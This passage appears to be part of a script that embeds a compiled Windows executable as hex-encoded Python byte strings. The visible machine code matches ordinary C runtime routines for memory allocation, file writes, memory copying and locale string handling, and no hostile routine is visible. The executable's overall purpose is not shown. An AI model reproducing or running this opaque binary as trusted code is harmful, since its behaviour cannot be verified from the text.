\\\nb'e893e3ffff59897dfcff7508e875fbffff598945e4c745fcfeffffffe85f0000008b5d' \\\nb'e43bdf7411ff75085753e8dab0ffff83c40c3bdf7561566a08ff35fcf94000ff1538b1' \\\nb'40008bd83bdf754c393de4fb4000743356e8cef1ffff5985c00f8572ffffff8b45103b' \\\nb'c70f8450ffffffc7000c000000e945ffffff33ff8b750c6a04e837e2ffff59c33bdf75' \\\nb'0d8b45103bc77406c7000c0000008bc3e818c0ffffc36a106880c74000e8c6bfffff8b' \\\nb'5d0885db750eff750ce8fdfdffff59e9cc0100008b750c85f6750c53e823c2ffff59e9' \\\nb'b7010000833dbcfc4000030f859301000033ff897de483fee00f878a0100006a04e8a0' \\\nb'e2ffff59897dfc53e8a5f2ffff598945e03bc70f849e0000003b35a8fc400077495653' \\\nb'50e887f7ffff83c40c85c07405895de4eb3556e856faffff598945e43bc774278b43fc' \\\nb'483bc672028bc65053ff75e4e8e014000053e855f2ffff8945e05350e87bf2ffff83c4' \\\nb'18397de475483bf7750633f64689750c83c60f83e6f089750c5657ff35fcf94000ff15' \\\nb'38b140008945e43bc774208b43fc483bc672028bc65053ff75e4e88c14000053ff75e0' \\\nb'e82ef2ffff83c414c745fcfeffffffe82e000000837de000753185f675014683c60f83' \\\nb'e6f089750c56536a00ff35fcf94000ff1540b140008bf8eb128b750c8b5d086a04e8d1' \\\nb'e0ffff59c38b7de485ff0f85bf000000393de4fb4000742c56e822f0ffff5985c00f85' \\\nb'd2feffffe894c0ffff397de0756c8bf0ff1580b0400050e83fc0ffff598906eb5f85ff' \\\nb'0f8583000000e86fc0ffff397de07468c7000c000000eb7185f675014656536a00ff35' \\\nb'fcf94000ff1540b140008bf885ff75563905e4fb4000743456e8b9efffff5985c0741f' \\\nb'83fee076cd56e8a9efffff59e823c0ffffc7000c00000033c0e825beffffc3e810c0ff' \\\nb'ffe97cffffff85ff7516e802c0ffff8bf0ff1580b0400050e8b2bfffff8906598bc7eb' \\\nb'd26a1068a0c74000e8abbdffff33db895de46a01e8c3e0ffff59895dfc6a035f897de0' \\\nb'3b3d000e41007d578bf7c1e602a1e4fd400003c6391874448b00f6400c83740f50e803' \\\nb'2700005983f8ff7403ff45e483ff147c28a1e4fd40008b040683c02050ff1504b14000' \\\nb'a1e4fd4000ff3406e8c1bfffff59a1e4fd4000891c0647eb9ec745fcfeffffffe80900' \\\nb'00008b45e4e867bdffffc36a01e864dfffff59c38bff558bec53568b75088b460c8bc8' \\\nb'80e10333db80f9027540a90801000074398b4608578b3e2bf885ff7e2c575056e8c301' \\\nb'00005950e8bb0d000083c40c3bc7750f8b460c84c0790f83e0fd89460ceb07834e0c20' \\\nb'83cbff5f8b46088366040089065e8bc35b5dc38bff558bec568b750885f6750956e835' \\\nb'00000059eb2f56e87cffffff5985c0740583c8ffeb1ff7460c00400000741456e85a01' \\\nb'000050e88526000059f7d8591bc0eb0233c05e5dc36a1468c0c74000e85cbcffff33ff' \\\nb'897de4897ddc6a01e871dfffff59897dfc33f68975e03b35000e41000f8d83000000a1' \\\nb'e4fd40008d04b03938745e8b00f6400c8374565056e87ec2ffff595933d2428955fca1' \\\nb'e4fd40008b04b08b480cf6c183742f395508751150e84affffff5983f8ff741eff45e4' \\\nb'eb19397d087514f6c102740f50e82fffffff5983f8ff75030945dc897dfce808000000' \\\nb'46eb8433ff8b75e0a1e4fd4000ff34b056e887c2ffff5959c3c745fcfeffffffe81200' \\\nb'0000837d08018b45e474038b45dce8ddbbffffc36a01e8daddffff59c36a01e81fffff' \\\nb'ff59c38bff558bec8b450883f8fe750fe8a9bdffffc7000900000033c05dc35633f63b' \\\nb'c67c083b05c0fc4000721ce88bbdffff5656565656c70009000000e868c0ffff83c414' \\\nb'33c0eb1a8bc883e01fc1f9058b0c8de0fc4000c1e0060fbe44010483e0405e5dc38bff' \\\nb'558bec8b45085633f63bc6751de843bdffff5656565656c70016000000e820c0ffff83' \\\nb'c41483c8ffeb038b40105e5dc3cccccccccccccc8b4c2404f7c10300000074248a0183' \\\nb'c10184c0744ef7c10300000075ef05000000008da424000000008da424000000008b01' \\\nb'bafffefe7e03d083f0ff33c283c104a90001018174e88b41fc84c0743284e47424a900' \\\nb'00ff007413a9000000ff7402ebcd8d41ff8b4c24042bc1c38d41fe8b4c24042bc1c38d' \\\nb'41fd8b4c24042bc1c38d41fc8b4c24042bc1c38bff558bec83ec1053568b750c33db57' \\\nb'8b7d103bf375143bfb76108b45083bc37402891833c0e9830000008b45083bc3740383' \\\nb'08ff81ffffffff7f761be851bcffff6a165e53535353538930e82fbfffff83c4148bc6' \\\nb'eb56ff75188d4df0e8c8c1ffff8b45f03958140f859c000000668b4514b9ff00000066' \\\nb'3bc176363bf3740f3bfb760b575356e868aaffff83c40ce8febbffffc7002a000000e8' \\\nb'f3bbffff8b00385dfc74078b4df8836170fd5f5e5bc9c33bf374323bfb772ce8d3bbff' \\\nb'ff6a225e53535353538930e8b1beffff83c414385dfc0f8479ffffff8b45f8836070fd' \\\nb'e96dffffff88068b45083bc37406c70001000000385dfc0f8425ffffff8b45f8836070' \\\nb'fde919ffffff8d4d0c515357566a018d4d145153895d0cff7004ff15f0b040003bc374' \\\nb'14395d0c0f855effffff8b4d083bcb74bd8901ebb9ff1580b0400083f87a0f8544ffff' \\\nb'ff3bf30f8467ffffff3bfb0f865fffffff575356e891a9ffff83c40ce94fffffff8bff' \\\nb'558bec6a00ff7514ff7510ff750cff7508e87cfeffff83c4145dc38bff558bec83ec10' \\\nb'ff750c8d4df0e88fc0ffff0fb645088b4df08b89c80000000fb704412500800000807d' \\\nb'fc0074078b4df8836170fdc9c38bff558bec6a00ff7508e8b9ffffff59595dc3cc568b' \\\nb'4424140bc075288b4c24108b44240c33d2f7f18bd88b442408f7f18bf08bc3f7642410' \\\nb'8bc88bc6f764241003d1eb478bc88b5c24108b54240c8b442408d1e9d1dbd1ead1d80b' \\\nb'c975f4f7f38bf0f76424148bc88b442410f7e603d1720e3b54240c7708720f3b442408' \\\nb'76094e2b4424101b54241433db2b4424081b54240cf7daf7d883da008bca8bd38bd98b' \\\nb'c88bc65ec210008bff558bec51518b450c568b75088945f88b451057568945fce8a625' \\\nb'000083cfff593bc77511e8feb9ffffc700090000008bc78bd7eb4aff75148d4dfc51ff' \\\nb'75f850ff1544b140008945f83bc77513ff1580b0400085c0740950e8f0b9ffff59ebcf' \\\nb'8bc6c1f8058b0485e0fc400083e61fc1e6068d4430048020fd8b45f88b55fc5f5ec9c3' \\\nb'6a1468e8c74000e862b7ffff83ceff8975dc8975e08b450883f8fe751ce895b9ffff83' \\\nb'2000e87ab9ffffc700090000008bc68bd6e9d000000033ff3bc77c083b05c0fc400072' \\\nb'21e86bb9ffff8938e851b9ffffc700090000005757575757e82ebcffff83c414ebc88b' \\\nb'c8c1f9058d1c8de0fc40008bf083e61fc1e6068b0b0fbe4c310483e1017526e82ab9ff' \\\nb'ff8938e810b9ffffc700090000005757575757e8edbbffff83c41483caff8bc2eb5b50' \\\nb'e80225000059897dfc8b03f644300401741cff7514ff7510ff750cff7508e8a9feffff' \\\nb'83c4108945dc8955e0eb1ae8c2b8ffffc70009000000e8cab8ffff8938834ddcff834d' \\\nb'e0ffc745fcfeffffffe80c0000008b45dc8b55e0e8a5b6ffffc3ff7508e83f25000059' \\\nb'c38bff558becb8e41a0000e85ea7ffffa100e0400033c58945fc8b450c5633f6898534' \\\nb'e5ffff89b538e5ffff89b530e5ffff397510750733c0e9e90600003bc67527e858b8ff' \\\nb'ff8930e83eb8ffff5656565656c70016000000e81bbbffff83c41483c8ffe9be060000' \\\nb'53578b7d088bc7c1f8058d3485e0fc40008b0683e71fc1e70603c78a582402dbd0fb89' \\\nb'b528e5ffff889d27e5ffff80fb02740580fb0175308b4d10f7d1f6c1017526e8efb7ff' \\\nb'ff33f68930e8d3b7ffff5656565656c70016000000e8b0baffff83c414e943060000f6' \\\nb'40042074116a026a006a00ff7508e87efdffff83c410ff7508e8e1f9ffff5985c00f84' \\\nb'9d0200008b06f6440704800f8490020000e81dacffff8b406c33c93948148d851ce5ff' \\\nb'ff0f94c1508b06ff3407898d20e5ffffff154cb1400085c00f846002000033c9398d20' \\\nb'e5ffff740884db0f8450020000ff1548b140008b9d34e5ffff89851ce5ffff33c08985' \\\nb'3ce5ffff3945100f8642050000898544e5ffff8a8527e5ffff84c00f85670100008a0b' \\\nb'8bb528e5ffff33c080f90a0f94c0898520e5ffff8b0603c78378380074158a50348855' \\\nb'f4884df5836038006a028d45f450eb4b0fbec150e8fdfbffff5985c0743a8b8d34e5ff' \\\nb'ff2bcb034d1033c0403bc80f86a50100006a028d8540e5ffff5350e85a25000083c40c' \\\nb'83f8ff0f84b104000043ff8544e5ffffeb1b6a01538d8540e5ffff50e83625000083c4' \\\nb'0c83f8ff0f848d04000033c050506a058d4df4516a018d8d40e5ffff5150ffb51ce5ff' \\\nb'ff43ff8544e5ffffff15f0b040008bf085f60f845c0400006a008d853ce5ffff50568d' \\\nb'45f4508b8528e5ffff8b00ff3407ff153cb0400085c00f84290400008b8544e5ffff8b' \\\nb'8d30e5ffff03c139b53ce5ffff898538e5ffff0f8c1504000083bd20e5ffff000f84cd' \\\nb'0000006a008d853ce5ffff506a018d45f4508b8528e5ffff8b00c645f40dff3407ff15' \\\nb'3cb0400085c00f84d003000083bd3ce5ffff010f8ccf030000ff8530e5ffffff8538e5' \\\nb'ffffe9830000003c0174043c0275210fb73333c96683fe0a0f94c14343838544e5ffff' \\\nb'0289b540e5ffff898d20e5ffff3c0174043c027552ffb540e5ffffe84322000059663b' \\\nb'8540e5ffff0f8568030000838538e5ffff0283bd20e5ffff0074296a0d5850898540e5' \\\nb'ffffe81622000059663b8540e5ffff0f853b030000ff8538e5ffffff8530e5ffff8b45' \\\nb'10398544e5ffff0f82f9fdffffe9270300008b0e8a13ff8538e5ffff88540f348b0e89' \\\nb'440f38e90e03000033c98b0603c7f64004800f84bf0200008b8534e5ffff898d40e5ff' \\\nb'ff84db0f85ca00000089853ce5ffff394d100f8620030000eb068bb528e5ffff8b8d3c' \\\nb'e5ffff83a544e5ffff002b8d34e5ffff8d8548e5ffff3b4d1073398b953ce5ffffff85' \\\nb'3ce5ffff8a124180fa0a7510ff8530e5ffffc6000d40ff8544e5ffff881040ff8544e5' \\\nb'ffff81bd44e5ffffff13000072c28bd88d8548e5ffff2bd86a008d852ce5ffff50538d' \\\nb'8548e5ffff508b06ff3407ff153cb0400085c00f84420200008b852ce5ffff018538e5' \\\nb'ffff3bc30f8c3a0200008b853ce5ffff2b8534e5ffff3b45100f824cffffffe9200200' \\\nb'00898544e5ffff80fb020f85d1000000394d100f864d020000eb068bb528e5ffff8b8d' \\\nb'44e5ffff83a53ce5ffff002b8d34e5ffff8d8548e5ffff3b4d1073468b9544e5ffff83' \\\nb'8544e5ffff020fb71241416683fa0a7516838530e5ffff026a0d5b668918404083853c' \\\nb'e5ffff0283853ce5ffff02668910404081bd3ce5fffffe13000072b58bd88d8548e5ff' \\\nb'ff2bd86a008d852ce5ffff50538d8548e5ffff508b06ff3407ff153cb0400085c00f84' \\\nb'620100008b852ce5ffff018538e5ffff3bc30f8c5a0100008b8544e5ffff2b8534e5ff' \\\nb'ff3b45100f823fffffffe940010000394d100f867c0100008b8d44e5ffff83a53ce5ff' \\\nb'ff002b8d34e5ffff6a028d8548f9ffff5e3b4d10733c8b9544e5ffff0fb71201b544e5' \\\nb'ffff03ce6683fa0a750e6a0d5b66891803c601b53ce5ffff01b53ce5ffff66891003c6' \\\nb'81bd3ce5ffffa806000072bf33f6565668550d00008d8df0ebffff518d8d48f9ffff2b' \\\nb'c1992bc2d1f8508bc1505668e9fd0000ff15f0b040008bd83bde0f84970000006a008d' \\\nb'852ce5ffff508bc32bc6508d8435f0ebffff508b8528e5ffff8b00ff3407ff153cb040' \\\nb'0085c0740c03b52ce5ffff3bde7fcbeb0cff1580b04000898540e5ffff3bde7f5c8b85' \\\nb'44e5ffff2b8534e5ffff898538e5ffff3b45100f820affffffeb3f6a008d8d2ce5ffff' \\\nb'51ff7510ffb534e5ffffff30ff153cb0400085c074158b852ce5ffff83a540e5ffff00' \\\nb'898538e5ffffeb0cff1580b04000898540e5ffff83bd38e5ffff00756c83bd40e5ffff' \\\nb'00742d6a055e39b540e5ffff7514e8c6b1ffffc70009000000e8ceb1ffff8930eb3fff' \\\nb'b540e5ffffe8d2b1ffff59eb318bb528e5ffff8b06f644070440740f8b8534e5ffff80' \\\nb'381a750433c0eb24e886b1ffffc7001c000000e88eb1ffff83200083c8ffeb0c8b8538' \\\nb'e5ffff2b8530e5ffff5f5b8b4dfc33cd5ee8a69cffffc9c36a106808c84000e816afff' \\\nb'ff8b450883f8fe751be852b1ffff832000e837b1ffffc7000900000083c8ffe99d0000' \\\nb'0033ff3bc77c083b05c0fc40007221e829b1ffff8938e80fb1ffffc700090000005757' \\\nb'575757e8ecb3ffff83c414ebc98bc8c1f9058d1c8de0fc40008bf083e61fc1e6068b0b' \\\nb'0fbe4c310483e10174bf50e8e61c000059897dfc8b03f6443004017416ff7510ff750c' \\\nb'ff7508e82ef8ffff83c40c8945e4eb16e8acb0ffffc70009000000e8b4b0ffff893883' \\\nb'4de4ffc745fcfeffffffe8090000008b45e4e896aeffffc3ff7508e8301d000059c38b' \\\nb'ff558becff05c8f540006800100000e83eb1ffff598b4d0889410885c0740d83490c08' \\\nb'c7411800100000eb1183490c048d4114894108c74118020000008b4108836104008901' \\\nb'5dc38bff558bec83ec14535657e82da2ffff8365fc00833dc4fb4000008bd80f858e00' \\\nb'000068f0ba4000ff152cb140008bf885ff0f842a0100008b35acb0400068e4ba400057' \\\nb'ffd685c00f841401000050e877a1ffffc70424d4ba400057a3c4fb4000ffd650e862a1' \\\nb'ffffc70424c0ba400057a3c8fb4000ffd650e84da1ffffc70424a4ba400057a3ccfb40' \\\nb'00ffd650e838a1ffff59a3d4fb400085c07414688cba400057ffd650e820a1ffff59a3' \\\nb'd0fb4000a1d0fb40003bc3744f391dd4fb4000744750e87ea1ffffff35d4fb40008bf0' \\\nb'e871a1ffff59598bf885f6742c85ff7428ffd685c074198d4df8516a0c8d4dec516a01' \\\nb'50ffd785c07406f645f4017509814d1000002000eb39a1c8fb40003bc3743050e82ea1' \\\nb'ffff5985c07425ffd08945fc85c0741ca1ccfb40003bc3741350e811a1ffff5985c074' \\\nb'08ff75fcffd08945fcff35c4fb4000e8f9a0ffff5985c07410ff7510ff750cff7508ff' \\\nb'75fcffd0eb0233c05f5e5bc9c38bff558bec8b45085333db56573bc374078b7d0c3bfb' \\\nb'771be8adaeffff6a165e89305353535353e88bb1ffff83c4148bc6eb3c8b75103bf375' \\\nb'048818ebda8bd0381a7404424f75f83bfb74ee8a0e880a42463acb74034f75f33bfb75' \\\nb'108818e866aeffff6a225989088bf1ebb533c05f5e5b5dc38bff558bec53568b750833' \\\nb'db57395d1475103bf37510395d0c751233c05f5e5b5dc33bf374078b7d0c3bfb771be8' \\\nb'24aeffff6a165e89305353535353e802b1ffff83c4148bc6ebd5395d147504881eebca' \\\nb'8b55103bd37504881eebd1837d14ff8bc6750f8a0a880840423acb741e4f75f3eb198a' \\\nb'0a880840423acb74084f7405ff4d1475ee395d14750288183bfb758b837d14ff750f8b' \\\nb'450c6a50885c06ff58e978ffffff881ee8aaadffff6a225989088bf1eb828bff558bec' \\\nb'8b4d085333db56573bcb74078b7d0c3bfb771be884adffff6a165e89305353535353e8' \\\nb'62b0ffff83c4148bc6eb308b75103bf375048819ebda8bd18a06880242463ac374034f' \\\nb'75f33bfb75108819e849adffff6a225989088bf1ebc133c05f5e5b5dc3cc8bff558bec' \\\nb'8b4d085633f63bce7c1e83f9027e0c83f9037514a150f24000eb28a150f24000890d50' \\\nb'f24000eb1be806adffff5656565656c70016000000e8e3afffff83c41483c8ff5e5dc3' \\\nb'8bff558bec83ec10ff75088d4df0e872b2ffff0fb6450c8b4df48a55148454011d751e' \\\nb'837d100074128b4df08b89c80000000fb70441234510eb0233c085c0740333c040807d' \\\nb'fc0074078b4df8836170fdc9c38bff558bec6a046a00ff75086a00e89affffff83c410' \\\nb'5dc3cccccccc558bec57568b750c8b4d108b7d088bc18bd103c63bfe76083bf80f82a4' \\\nb'01000081f900010000721f833de0fd4000007416575683e70f83e60f3bfe5e5f75085e' \\\nb'5f5de98d1b0000f7c7030000007515c1e90283e20383f908722af3a5ff249514824000' \\\nb'908bc7ba0300000083e904720c83e00303c8ff248528814000ff248d2482400090ff24' \\\nb'8da88140009038814000648140008881400023d18a0688078a46018847018a4602c1e9' \\\nb'0288470283c60383c70383f90872ccf3a5ff2495148240008d490023d18a0688078a46' \\\nb'01c1e90288470183c60283c70283f90872a6f3a5ff2495148240009023d18a06880783' \\\nb'c601c1e90283c70183f9087288f3a5ff2495148240008d49000b824000f8814000f081' \\\nb'4000e8814000e0814000d8814000d0814000c88140008b448ee489448fe48b448ee889' \\\nb'448fe88b448eec89448fec8b448ef089448ff08b448ef489448ff48b448ef889448ff8' \\\nb'8b448efc89448ffc8d048d0000000003f003f8ff2495148240008bff248240002c8240' \\\nb'00388240004c8240008b45085e5fc9c3908a0688078b45085e5fc9c3908a0688078a46' \\\nb'018847018b45085e5fc9c38d49008a0688078a46018847018a46028847028b45085e5f' \\\nb'c9c3908d7431fc8d7c39fcf7c7030000007524c1e90283e20383f908720dfdf3a5fcff' \\\nb'2495b08340008bfff7d9ff248d608340008d49008bc7ba0300000083f904720c83e003' \\\nb'2bc8ff2485b4824000ff248db083400090c4824000e8824000108340008a460323d188' \\\nb'470383ee01c1e90283ef0183f90872b2fdf3a5fcff2495b08340008d49008a460323d1' \\\nb'8847038a4602c1e90288470283ee0283ef0283f9087288fdf3a5fcff2495b083400090' \\\nb'8a460323d18847038a46028847028a4601c1e90288470183ee0383ef0383f9080f8256' \\\nb'fffffffdf3a5fcff2495b08340008d4900648340006c834000748340007c8340008483' \\\nb'40008c83400094834000a78340008b448e1c89448f1c8b448e1889448f188b448e1489' \\\nb'448f148b448e1089448f108b448e0c89448f0c8b448e0889448f088b448e0489448f04' \\\nb'8d048d0000000003f003f8ff2495b08340008bffc0834000c8834000d8834000ec8340' \\\nb'008b45085e5fc9c3908a46038847038b45085e5fc9c38d49008a46038847038a460288' \\\nb'47028b45085e5fc9c3908a46038847038a46028847028a46018847018b45085e5fc9c3' \\\nb'8bff558bec568b750885f60f8481010000ff7604e849a9ffffff7608e841a9ffffff76' \\\nb'0ce839a9ffffff7610e831a9ffffff7614e829a9ffffff7618e821a9ffffff36e81aa9' \\\nb'ffffff7620e812a9ffffff7624e80aa9ffffff7628e802a9ffffff762ce8faa8ffffff' \\\nb'7630e8f2a8ffffff7634e8eaa8ffffff761ce8e2a8ffffff7638e8daa8ffffff763ce8' \\\nb'd2a8ffff83c440ff7640e8c7a8ffffff7644e8bfa8ffffff7648e8b7a8ffffff764ce8' \\\nb'afa8ffffff7650e8a7a8ffffff7654e89fa8ffffff7658e897a8ffffff765ce88fa8ff' \\\nb'ffff7660e887a8ffffff7664e87fa8ffffff7668e877a8ffffff766ce86fa8ffffff76' \\\nb'70e867a8ffffff7674e85fa8ffffff7678e857a8ffffff767ce84fa8ffff83c440ffb6' \\\nb'80000000e841a8ffffffb684000000e836a8ffffffb688000000e82ba8ffffffb68c00' \\\nb'0000e820a8ffffffb690000000e815a8ffffffb694000000e80aa8ffffffb698000000' \\\nb'e8ffa7ffffffb69c000000e8f4a7ffffffb6a0000000e8e9a7ffffffb6a4000000e8de' \\\nb'a7ffffffb6a8000000e8d3a7ffff83c42c5e5dc38bff558bec568b750885f674358b06' \\\nb'3b0558ed4000740750e8b0a7ffff598b46043b055ced4000740750e89ea7ffff598b76' \\\nb'083b3560ed4000740756e88ca7ffff595e5dc38bff558bec568b750885f6747e8b460c' \\\nb'3b0564ed4000740750e86aa7ffff598b46103b0568ed4000740750e858a7ffff598b46' \\\nb'143b056ced4000740750e846a7ffff598b46183b0570ed4000740750e834a7ffff598b' \\\nb'461c3b0574ed4000740750e822a7ffff598b46203b0578ed4000740750e810a7ffff59' \\\nb'8b76243b357ced4000740756e8fea6ffff595e5dc38bff558bec8b450885c0741283e8' \\\nb'088138dddd0000750750e8dda6ffff595dc3cccccc558bec5633c05050505050505050' \\\nb'8b550c8d49008a020ac0740983c2010fab0424ebf18b750883c9ff8d490083c1018a06' \\\nb'0ac0740983c6010fa3042473ee8bc183c4205ec9c3cccccccccccccccccccc8b542404' \\\nb'8b4c2408f7c203000000753c8b023a01752e0ac074263a610175250ae4741dc1e8103a' \\\nb'410275190ac074113a6103751083c10483c2040ae475d28bff33c0c3901bc0d1e083c0' \\\nb'01c3f7c20100000074188a0283c2013a0175e783c1010ac074dcf7c20200000074a466' \\\nb'8b0283c2023a0175ce0ac074c63a610175c50ae474bd83c102eb888bff558bec5151a1' \\\nb'00e0400033c58945fca1dcfb4000535633db578bf93bc3753a8d45f85033f646566834' \\\nb'c4400056ff155cb1400085c074088935dcfb4000eb34ff1580b0400083f878750a6a02' \\\nb'58a3dcfb4000eb05a1dcfb400083f8020f84cf0000003bc30f84c700000083f8010f85' \\\nb'e8000000895df8395d1875088b078b40048945188b3558b1400033c0395d205353ff75' \\\nb'100f95c0ff750c8d04c50100000050ff7518ffd68bf83bfb0f84ab0000007e3c81fff0' \\\nb'ffff7f77348d443f083d000400007713e82c1500008bc43bc3741cc700cccc0000eb11' \\\nb'50e8e6e0ffff593bc37409c700dddd000083c0088bd885db74698d043f506a0053e818' \\\nb'93ffff83c40c5753ff7510ff750c6a01ff7518ffd685c07411ff75145053ff7508ff15' \\\nb'5cb140008945f853e8d8fdffff8b45f859eb7533f6395d1c75088b078b401489451c39' \\\nb'5d1875088b078b4004894518ff751ce8e31400005983f8ff750433c0eb473b4518741e' \\\nb'53538d4d1051ff750c50ff7518e80b1500008bf083c4183bf374dc89750cff7514ff75' \\\nb'10ff750cff7508ff751cff1554b140008bf83bf3740756e85aa4ffff598bc78d65ec5f' \\\nb'5e5b8b4dfc33cde84a8fffffc9c38bff558bec83ec10ff75088d4df0e881a9ffffff75' \\\nb'248d4df0ff7520ff751cff7518ff7514ff7510ff750ce816feffff83c41c807dfc0074' \\\nb'078b4df8836170fdc9c3cccccccccccccccccccccccc558bec5633c050505050505050' \\\nb'508b550c8d49008a020ac0740983c2010fab0424ebf18b75088bff8a060ac0740c83c6' \\\nb'010fa3042473f18d46ff83c4205ec9c38bff558bec83ec14a100e0400033c58945fc53' \\\nb'5633db578bf1391de0fb40007538535333ff47576834c44000680001000053ff1564b1' \\\nb'400085c07408893de0fb4000eb15ff1580b0400083f878750ac705e0fb400002000000' \\\nb'395d147e228b4d148b45104938187408403bcb75f683c9ff8b45142bc1483b45147d01' \\\nb'40894514a1e0fb400083f8020f84ac0100003bc30f84a401000083f8010f85cc010000' \\\nb'895df8395d2075088b068b40048945208b3558b1400033c0395d245353ff75140f95c0' \\\nb'ff75108d04c50100000050ff7520ffd68bf83bfb0f848f0100007e436ae033d258f7f7' \\\nb'83f80272378d443f083d000400007713e8b61200008bc43bc3741cc700cccc0000eb11' \\\nb'50e870deffff593bc37409c700dddd000083c0088945f4eb03895df4395df40f843e01' \\\nb'000057ff75f4ff7514ff75106a01ff7520ffd685c00f84e30000008b3564b140005353' \\\nb'57ff75f4ff750cff7508ffd68bc8894df83bcb0f84c2000000f7450c00040000742939' \\\nb'5d1c0f84b00000003b4d1c0f8fa7000000ff751cff751857ff75f4ff750cff7508ffd6' \\\nb'e9900000003bcb7e456ae033d258f7f183f80272398d4409083d000400007716e8f711' \\\nb'00008bf43bf3746ac706cccc000083c608eb1a50e8aeddffff593bc37409c700dddd00' \\\nb'0083c0088bf0eb0233f63bf37441ff75f85657ff75f4ff750cff7508ff1564b1400085' \\\nb'c074225353395d1c75045353eb06ff751cff7518ff75f85653ff7520ff15f0b0400089' \\\nb'45f856e895faffff59ff75f4e88cfaffff8b45f859e959010000895df4895df0395d08' \\\nb'75088b068b4014894508395d2075088b068b4004894520ff7508e890110000598945ec' \\\nb'83f8ff750733c0e9210100003b45200f84db00000053538d4d1451ff751050ff7520e8' \\\nb'ae11000083c4188945f43bc374d48b3560b140005353ff751450ff750cff7508ffd689' \\\nb'45f83bc3750733f6e9b70000007e3d83f8e0773883c0083d000400007716e8e1100000' \\\nb'8bfc3bfb74ddc707cccc000083c708eb1a50e898dcffff593bc37409c700dddd000083' \\\nb'c0088bf8eb0233ff3bfb74b4ff75f85357e8c88effff83c40cff75f857ff7514ff75f4' \\\nb'ff750cff7508ffd68945f83bc3750433f6eb25ff751c8d45f8ff75185057ff7520ff75' \\\nb'ece8fd1000008bf08975f083c418f7de1bf62375f857e86af9ffff59eb1aff751cff75' \\\nb'18ff7514ff7510ff750cff7508ff1560b140008bf0395df47409ff75f4e83aa0ffff59' \\\nb'8b45f03bc3740c394518740750e827a0ffff598bc68d65e05f5e5b8b4dfc33cde8178b' \\\nb'ffffc9c38bff558bec83ec10ff75088d4df0e84ea5ffffff75288d4df0ff7524ff7520' \\\nb'ff751cff7518ff7514ff7510ff750ce828fcffff83c420807dfc0074078b4df8836170' \\\nb'fdc9c36a106828c84000e8429dffff33c08b5d0833ff3bdf0f95c03bc7751de8639fff' \\\nb'ffc700160000005757575757e840a2ffff83c41483c8ffeb53833dbcfc40000375386a' \\\nb'04e829c0ffff59897dfc53e82ed0ffff598945e03bc7740b8b73fc83ee098975e4eb03' \\\nb'8b75e4c745fcfeffffffe825000000397de075105357ff35fcf94000ff1568b140008b' \\\nb'f08bc6e8029dffffc333ff8b5d088b75e46a04e8f7beffff59c36a02e83998ffff59c3' \\\nb'8bff558bec81ec28030000a100e0400033c58945fcf605a0ed4000015674086a0ae868' \\\nb'b4ffff59e8d3cbffff85c074086a16e8d5cbffff59f605a0ed4000020f84ca00000089' \\\nb'85e0fdffff898ddcfdffff8995d8fdffff899dd4fdffff89b5d0fdffff89bdccfdffff' \\\nb'668c95f8fdffff668c8decfdffff668c9dc8fdffff668c85c4fdffff668ca5c0fdffff' \\\nb'668cadbcfdffff9c8f85f0fdffff8b75048d45048985f4fdffffc78530fdffff010001' \\\nb'0089b5e8fdffff8b40fc6a508985e4fdffff8d85d8fcffff6a0050e86b8cffff8d85d8' \\\nb'fcffff83c40c898528fdffff8d8530fdffff6a00c785d8fcffff1500004089b5e4fcff' \\\nb'ff89852cfdffffff15a0b040008d8528fdffff50ff159cb040006a03e8a799ffffcccc' \\\nb'cccc558bec535657556a006a0068788f4000ff7508e8461400005d5f5e5b8be55dc38b' \\\nb'4c2404f7410406000000b80100000074328b4424148b48fc33c8e8ca88ffff558b6810' \\\nb'8b5028528b502452e81400000083c4085d8b4424088b5424108902b803000000c35356' \\\nb'578b44241055506afe68808f400064ff3500000000a100e0400033c4508d44240464a3' \\\nb'000000008b4424288b58088b700c83feff743a837c242cff74063b74242c762d8d3476' \\\nb'8b0cb3894c240c89480c837cb30400751768010100008b44b308e8490000008b44b308' \\\nb'e85f000000ebb78b4c240464890d0000000083c4185f5e5bc333c0648b0d0000000081' \\\nb'7904808f400075108b510c8b520c3951087505b801000000c35351bba4ed4000eb0b53' \\\nb'51bba4ed40008b4c240c894b08894304896b0c55515058595d595bc20400ffd0c3cccc' \\\nb'cccccccccccccc558bec57568b750c8b4d108b7d088bc18bd103c63bfe76083bf80f82' \\\nb'a401000081f900010000721f833de0fd4000007416575683e70f83e60f3bfe5e5f7508' \\\nb'5e5f5de98d0b0000f7c7030000007515c1e90283e20383f908722af3a5ff2495149240' \\\nb'00908bc7ba0300000083e904720c83e00303c8ff248528914000ff248d2492400090ff' \\\nb'248da89140009038914000649140008891400023d18a0688078a46018847018a4602c1' \\\nb'e90288470283c60383c70383f90872ccf3a5ff2495149240008d490023d18a0688078a' \\\nb'4601c1e90288470183c60283c70283f90872a6f3a5ff2495149240009023d18a068807' \\\nb'83c601c1e90283c70183f9087288f3a5ff2495149240008d49000b924000f8914000f0' \\\nb'914000e8914000e0914000d8914000d0914000c89140008b448ee489448fe48b448ee8' \\\nb'89448fe88b448eec89448fec8b448ef089448ff08b448ef489448ff48b448ef889448f' \\\nb'f88b448efc89448ffc8d048d0000000003f003f8ff2495149240008bff249240002c92' \\\nb'4000389240004c9240008b45085e5fc9c3908a0688078b45085e5fc9c3908a0688078a' \\\nb'46018847018b45085e5fc9c38d49008a0688078a46018847018a46028847028b45085e' \\\nb'5fc9c3908d7431fc8d7c39fcf7c7030000007524c1e90283e20383f908720dfdf3a5fc' \\\nb'ff2495b09340008bfff7d9ff248d609340008d49008bc7ba0300000083f904720c83e0' \\\nb'032bc8ff2485b4924000ff248db093400090c4924000e8924000109340008a460323d1' \\\nb'88470383ee01c1e90283ef0183f90872b2fdf3a5fcff2495b09340008d49008a460323' \\\nb'd18847038a4602c1e90288470283ee0283ef0283f9087288fdf3a5fcff2495b0934000' \\\nb'908a460323d18847038a46028847028a4601c1e90288470183ee0383ef0383f9080f82' \\\nb'56fffffffdf3a5fcff2495b09340008d4900649340006c934000749340007c93400084' \\\nb'9340008c93400094934000a79340008b448e1c89448f1c8b448e1889448f188b448e14' \\\nb'89448f148b448e1089448f108b448e0c89448f0c8b448e0889448f088b448e0489448f' \\\nb'048d048d0000000003f003f8ff2495b09340008bffc0934000c8934000d8934000ec93' \\\nb'40008b45085e5fc9c3908a46038847038b45085e5fc9c38d49008a46038847038a4602' \\\nb'8847028b45085e5fc9c3908a46038847038a46028847028a46018847018b45085e5fc9' \\\nb'c38bff558bec53568b75085733ff83cbff3bf7751ce80099ffff5757575757c7001600' \\\nb'0000e8dd9bffff83c4140bc3eb42f6460c83743756e88fd9ffff568bd8e8770d000056' 